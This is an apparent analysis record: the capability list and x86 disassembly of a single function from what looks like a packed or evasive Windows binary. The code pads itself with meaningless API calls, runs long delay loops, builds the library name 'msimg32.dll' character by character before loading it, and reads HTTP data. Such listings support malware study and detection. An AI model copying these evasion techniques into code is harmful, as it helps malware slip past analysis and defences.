Function at 0x423030
Capabilities:
Copy file
Create pipe
Delete file
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Read pipe
Receive http response
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x3130
call fcn.0040e830
push ebx
mov ebx, dword [esp + 0x5c]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x38]
xor esi, esi
cmp esi, 0x2cdc8
jge 0x42305e
call ebp
cmp dword [0x7ada94], 0x6fb
jne 0x42307c
push 0
lea eax, [esp + 0x144]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa1e
jle 0x423094
cmp edi, 0xc10c34
je 0x423094
cmp ebx, 0x952fd20
jne 0x42309d
inc esi
cmp esi, 0x992a2
jl 0x423054
cmp dword [0x7ada94], 0xcf8
jne 0x42315f
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405250
fstp st(0)
fldz
fstp qword [esp]
call fcn.00404f50
fstp st(0)
push 0x404848
push 0
call fcn.00405192
push 0
call fcn.00405162
add esp, 0x14
push 0
push 0
call fcn.0041099c
fldz
fstp qword [esp]
call fcn.00404f50
fstp st(0)
push 0
call fcn.00405157
add esp, 0xc
push 0
push 0
call fcn.0040506d
push 0
push 0
call fcn.00405392
fld qword [0x404c60]
add esp, 8
fstp qword [esp]
push 0x404854
call fcn.00405192
add esp, 0xc
push 0
call fcn.004050ad
add esp, 4
push 0
push 0
call fcn.00405392
push 0
call fcn.0040536a
add esp, 0xc
push 0
call fcn.004054ac
add esp, 4
push 0
push 0
push 0
push 0
call fcn.00404f2c
add esp, 0x10
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x423180
mov eax, 0x5d1
add dword [0x7ada94], eax
cmp dword [0x7ada94], 3
jne 0x4231ac
xor ecx, ecx
lea eax, [esp + 0x38]
push eax
push ecx
push ecx
push 0x40485c
push ecx
mov dword [esp + 0x50], ecx
call edi
push 0
push 0
lea edx, [esp + 0x948]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x42316d
mov eax, dword [0x7ada94]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x42eae4], eax
mov eax, dword [0x7ada94]
xor esi, esi
test eax, eax
je 0x42321f
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
cmp eax, 0xfe
jne 0x4231f0
push 0
call ebp
call fcn.00422c00
mov eax, dword [0x7ada94]
cmp eax, 0x29
jne 0x42321a
push 0
push 0
lea ecx, [esp + 0x148]
push ecx
push 0
call edi
push 0
push 0
call ebx
mov eax, dword [0x7ada94]
inc esi
cmp esi, eax
jb 0x4231e5
cmp eax, 0x70
jne 0x423374
push 0x40489c
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4048dc
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
push 0x4048f0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x940]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
lea eax, [esp + 0x2d44]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
lea ecx, [esp + 0x1d44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x404908
push 0x40491c
call esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov dword [esp + 0x38], 0x9682ab
cmp eax, 0xdf
jne 0x4234c5
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x4c]
push ecx
push edx
push edx
lea eax, [esp + 0x14c]
push eax
push edx
mov dword [esp + 0x50], edx
call ebp
lea ecx, [esp + 0x44]
push ecx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0x404a80
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x404aa8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea eax, [esp + 0x40]
push eax
push 0x404ab4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFix]
push 0
lea edx, [esp + 0xd44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x30
lea eax, [esp + 0x64]
push 0
push eax
mov dword [esp + 0x68], 0
call fcn.00406560
add esp, 0xc
push 0
lea ecx, [esp + 0x60]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
lea edx, [esp + 0x1540]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0x7ada94]
dec dword [esp + 0x38]
jne 0x423394
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x12dba7f4
push 0
call edi
push 0
call ebx
dec esi
jne 0x4234e0
mov byte [0x429d50], 0
call fcn.00422b10
call fcn.00422e70
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
jmp 0x423510
cmp dword [0x7ada94], 0xba
jne 0x423551
push 0
lea eax, [esp + 0x144]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x54]
push eax
push 0
lea ecx, [esp + 0x1558]
push ecx
push 0x404ac4
call edi
push 0x404ae4
push 0
push 0
call ebx
cmp esi, 0x2f64
jne 0x423564
mov eax, 0x5171
add dword [0x42eae4], eax
inc esi
cmp esi, 0x1605a
jl 0x423510
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov edi, 0xf2b8b
jmp 0x423580
cmp dword [0x7ada94], 0x21
jne 0x423593
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x423580
mov edx, 0x73
mov eax, 0x6d
mov word [0x7ada9a], dx
mov word [0x7ada9e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x7adaa2], cx
mov word [0x7adaae], ax
mov word [0x7adaa0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x7ada98
mov dword [0x7adaa8], 0x6c0064
mov word [0x7ada9c], ax
mov word [0x7ada98], cx
mov word [0x7adaac], dx
mov dword [0x7adaa4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7ada94], 0xc30
jne 0x423713
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea edx, [esp + 0x940]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push edi
lea eax, [esp + 0xd44]
push eax
push 0x404b10
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push edi
lea ecx, [esp + 0x44]
push ecx
push edi
lea edx, [esp + 0x14c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea eax, [esp + 0x2544]
push eax
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x50]
push edx
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x4c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0x404b40
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0x404b4c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
lea edx, [esp + 0x1d44]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push 0x404b70
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
lea eax, [esp + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push edi
lea ecx, [esp + 0x1544]
push ecx
push 0x404c30
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea edx, [esp + 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret